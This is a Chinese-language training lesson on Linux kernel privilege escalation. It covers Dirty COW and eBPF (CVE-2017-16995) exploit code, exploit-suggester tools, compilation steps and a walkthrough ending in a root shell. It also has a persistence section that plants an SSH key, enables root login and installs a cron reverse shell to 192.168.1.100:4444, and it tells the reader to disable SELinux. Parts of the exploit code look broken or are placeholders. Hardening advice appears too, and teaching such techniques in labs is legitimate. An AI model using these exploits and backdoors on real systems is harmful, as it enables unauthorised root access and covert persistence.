提权专题

1、Linux内核漏洞提权

一、课程目标

本节课主要学习Linux系统中利用内核漏洞进行提权的技术和方法。内核漏洞提权是权限提升中最有效但也最具挑战性的方法之一。通过本课的学习,你将能够:

  1. 理解Linux内核漏洞提权的基本原理
  2. 掌握常见的Linux内核漏洞类型和利用方法
  3. 学会使用现有的提权工具和exp
  4. 了解内核漏洞提权的防护措施
  5. 熟悉提权后的权限维持技术

二、名词解释表

名词解释
内核漏洞Linux内核中存在的安全缺陷
提权提升当前用户的权限级别
Root权限Linux系统中的最高权限
CVE编号Common Vulnerabilities and Exposures编号
Exploit利用漏洞的代码或工具
本地提权在本地系统上进行的权限提升
内核模块可加载到内核中的功能模块
KASLRKernel Address Space Layout Randomization

三、技术原理

3.1 内核漏洞概述

Linux内核漏洞是指Linux操作系统内核中存在的安全缺陷,攻击者可以利用这些漏洞从普通用户权限提升到root权限。

3.1.1、内核漏洞类型

  1. 缓冲区溢出:内核代码中的缓冲区溢出漏洞
  2. 竞态条件:多线程或多进程间的竞争条件漏洞
  3. 空指针解引用:访问空指针导致的内核崩溃
  4. 整数溢出:整数运算溢出导致的内存破坏
  5. UAF漏洞:Use After Free内存释放后使用漏洞

3.2 提权原理

3.2.1、内核态与用户态

  • 用户态:普通进程运行的模式,权限受限
  • 内核态:内核运行的模式,拥有最高权限

3.2.2、提权过程

  1. 利用内核漏洞触发内核态执行
  2. 在内核态中修改进程权限信息
  3. 返回用户态后获得提升的权限

3.3 常见漏洞利用技术

3.3.1、ROP技术

// ROP (Return Oriented Programming)示例
// 通过链接现有代码片段构造执行流
unsigned long rop_chain[] = {
    kernel_base + 0x12345,  // gadget 1
    kernel_base + 0x67890,  // gadget 2
    // ... 更多gadgets
};

3.3.2、KASLR绕过

# 检查KASLR是否启用
cat /proc/cmdline | grep kaslr

# 收集内核信息绕过KASLR
cat /proc/kallsyms | grep prepare_kernel_cred

四、常见内核漏洞

4.1 CVE-2016-5195 (Dirty COW)

4.1.1、漏洞原理

Dirty COW (Copy-On-Write)是一个竞争条件漏洞,存在于Linux内核的内存子系统中。

4.1.2、影响范围

  • Linux内核版本 2.6.22 到 4.8.3
  • 几乎所有Linux发行版都受影响

4.1.3、利用代码示例

#include <stdio.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <stdint.h>

void *map;
int f;
struct stat st;
char *name;

void *madviseThread(void *arg) {
    int i, c = 0;
    for (i = 0; i < 2000000; i++) {
        c += madvise(map, 100, MADV_DONTNEED);
    }
    printf("madvise %d\n\n", c);
}

void *procselfmemThread(void *arg) {
    char *str = "root:x:0:0:root:/root:/bin/bash\n";
    int f = open("/proc/self/mem", O_RDWR);
    int i, c = 0;
    for (i = 0; i < 2000000; i++) {
        lseek(f, (uintptr_t) map, SEEK_SET);
        c += write(f, str, strlen(str));
    }
    printf("procselfmem %d\n\n", c);
}

int main(int argc, char *argv[]) {
    if (argc < 3) {
        fprintf(stderr, "Usage: %s <file> <new_content>\n", argv[0]);
        return 1;
    }
    
    pthread_t pth1, pth2;
    
    f = open("/etc/passwd", O_RDONLY);
    fstat(f, &st);
    name = argv[1];
    map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, f, 0);
    
    pthread_create(&pth1, NULL, madviseThread, NULL);
    pthread_create(&pth2, NULL, procselfmemThread, NULL);
    
    pthread_join(pth1, NULL);
    pthread_join(pth2, NULL);
    
    return 0;
}

4.2 CVE-2017-16995

4.2.1、漏洞原理

这是一个eBPF验证器中的漏洞,可以导致任意代码执行。

4.2.2、利用示例

// 简化的eBPF利用代码
#include <linux/bpf.h>
#include <unistd.h>
#include <sys/syscall.h>

#define BPF_JMP32 0x06
#define BPF_K 0x00

struct bpf_insn insns[] = {
    // 构造恶意的eBPF程序
    {BPF_JMP32 | BPF_K, 0, 0, 0xffffffff},
    // ... 更多指令
};

int main() {
    union bpf_attr attr = {
        .prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
        .insn_cnt = sizeof(insns) / sizeof(insns[0]),
        .insns = (__u64) insns,
        .license = (__u64) "GPL",
    };
    
    int fd = syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr));
    if (fd < 0) {
        perror("bpf");
        return 1;
    }
    
    printf("eBPF program loaded successfully\n");
    close(fd);
    return 0;
}

五、提权工具使用

5.1 Linux Exploit Suggester

5.1.1、工具介绍

Linux Exploit Suggester是一个自动化工具,可以根据内核版本推荐合适的提权exp。

5.1.2、使用方法

# 下载工具
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh

# 添加执行权限
chmod +x linux-exploit-suggester.sh

# 运行工具
./linux-exploit-suggester.sh

# 指定内核版本
./linux-exploit-suggester.sh -k 4.4.0-21-generic

5.1.3、输出示例

Available information:
Kernel version: 4.4.0-21-generic
Architecture: x86_64
Distribution: ubuntu

May be vulnerable to:
[+] CVE-2016-5195  (Dirty COW)
[+] CVE-2017-1000364  (Stack Clash)
[+] CVE-2017-16995  (eBPF Verifier)

5.2 BeRoot

5.2.1、工具介绍

BeRoot是一个全面的提权检查工具,支持Windows和Linux系统。

5.2.2、使用方法

# 下载BeRoot
git clone https://github.com/AlessandroZ/BeRoot.git

# 运行Linux版本
python beroot.py --help

# 检查系统配置
python beroot.py --check

5.3 LinEnum

5.3.1、工具介绍

LinEnum是一个bash脚本,用于枚举Linux系统信息并寻找提权机会。

5.3.2、使用方法

# 下载LinEnum
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh

# 添加执行权限
chmod +x LinEnum.sh

# 运行扫描
./LinEnum.sh -t -s -r report.txt

六、手工提权方法

6.1 内核版本识别

# 查看内核版本
uname -a
uname -r

# 查看发行版信息
cat /etc/os-release
cat /etc/issue

# 查看系统架构
uname -m
getconf LONG_BIT

6.2 编译环境检查

# 检查GCC版本
gcc --version

# 检查make工具
make --version

# 检查编译依赖
dpkg -l | grep build-essential  # Debian/Ubuntu
rpm -qa | grep gcc              # CentOS/RHEL

6.3 漏洞利用编译

# 编译Dirty COW exp
gcc -pthread dirtycow.c -o dirtycow

# 编译时指定架构
gcc -m32 -pthread dirtycow.c -o dirtycow32

# 静态编译避免依赖问题
gcc -static -pthread dirtycow.c -o dirtycow_static

七、权限维持

7.1 Rootkit检测

7.1.1、检查隐藏进程

# 使用chkproc检查隐藏进程
ps aux | sort -k2 -n | uniq -f1 -d

# 检查/proc目录
ls /proc | grep -E '^[0-9]+$'

7.1.2、检查隐藏文件

# 检查隐藏文件
find / -name ".*" -type f 2>/dev/null | grep -v -E '/proc|/sys'

# 检查SUID文件
find / -perm -4000 2>/dev/null

7.2 后门植入

7.2.1、SSH后门

# 添加SSH公钥
mkdir -p ~/.ssh
echo "ssh-rsa AAAAB3NzaC1yc2E..." >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys

# 修改SSH配置
echo "PermitRootLogin yes" >> /etc/ssh/sshd_config

7.2.2、Cron后门

# 添加定时任务后门
echo "*/5 * * * * /bin/bash -c '/bin/bash -i >& /dev/tcp/192.168.1.100/4444 0>&1'" | crontab -

八、防护措施

8.1 内核安全配置

8.1.1、启用KASLR

# 检查KASLR状态
cat /proc/cmdline | grep kaslr

# 在GRUB中启用KASLR
# 编辑/etc/default/grub
GRUB_CMDLINE_LINUX="kaslr"
update-grub

8.1.2、启用SMEP/SMAP

# 检查SMEP支持
cat /proc/cpuinfo | grep smep

# 检查SMAP支持
cat /proc/cpuinfo | grep smap

8.2 系统加固

8.2.1、内核参数调优

# 编辑/etc/sysctl.conf
kernel.kptr_restrict = 1
kernel.dmesg_restrict = 1
kernel.perf_event_paranoid = 2

# 应用配置
sysctl -p

8.2.2、文件系统权限

# 检查敏感文件权限
ls -la /etc/passwd /etc/shadow /etc/sudoers

# 设置严格权限
chmod 644 /etc/passwd
chmod 640 /etc/shadow
chmod 440 /etc/sudoers

九、实战案例

9.1 Dirty COW提权实战

9.1.1、环境准备

# 检查内核版本
uname -r
# 输出: 4.4.0-21-generic

# 确认漏洞存在
cat /proc/version
# 确认版本在受影响范围内

9.1.2、Exploit执行

# 编译exp
gcc -pthread dirtycow.c -o dirtycow

# 运行exp
./dirtycow /etc/passwd "root2:x:0:0:root:/root:/bin/bash\n"

# 验证提权
su root2
id
# 输出: uid=0(root) gid=0(root) groups=0(root)

9.2 eBPF漏洞提权

9.2.1、检查漏洞

# 检查内核版本
uname -r
# 确认版本存在CVE-2017-16995漏洞

# 检查eBPF支持
grep CONFIG_BPF /boot/config-$(uname -r)

9.2.2、利用过程

# 编译并运行exp
gcc ebpf_exploit.c -o ebpf_exploit
./ebpf_exploit

# 验证权限
id
# 检查是否获得root权限

十、故障排除

10.1 编译问题

10.1.1、缺少头文件

# Ubuntu/Debian
sudo apt-get install linux-headers-$(uname -r) build-essential

# CentOS/RHEL
sudo yum install kernel-devel kernel-headers gcc make

10.1.2、架构不匹配

# 检查目标架构
file exploit_binary

# 编译指定架构
gcc -m32 exploit.c -o exploit32  # 32位
gcc -m64 exploit.c -o exploit64  # 64位

10.2 执行失败

10.2.1、权限不足

# 检查文件权限
ls -la exploit

# 添加执行权限
chmod +x exploit

10.2.2、SELinux阻止

# 临时禁用SELinux
setenforce 0

# 检查SELinux状态
getenforce

十一、课后作业

  1. 基础练习

    • 在实验环境中搭建存在已知漏洞的Linux系统
    • 使用Linux Exploit Suggester识别可利用漏洞
    • 成功执行Dirty COW提权实验
    • 验证提权结果并清理环境
  2. 进阶练习

    • 分析CVE-2017-16995漏洞原理
    • 编写简单的内核漏洞利用代码
    • 实现权限维持技术
    • 配置系统防护措施
  3. 思考题

    • 内核漏洞提权相比其他提权方法的优势和劣势是什么?
    • 如何有效防范内核漏洞提权攻击?
    • 现代Linux内核采用了哪些安全机制来防止提权?
  4. 扩展阅读

    • 研究最新的Linux内核漏洞
    • 了解内核漏洞挖掘技术
    • 学习内核安全防护机制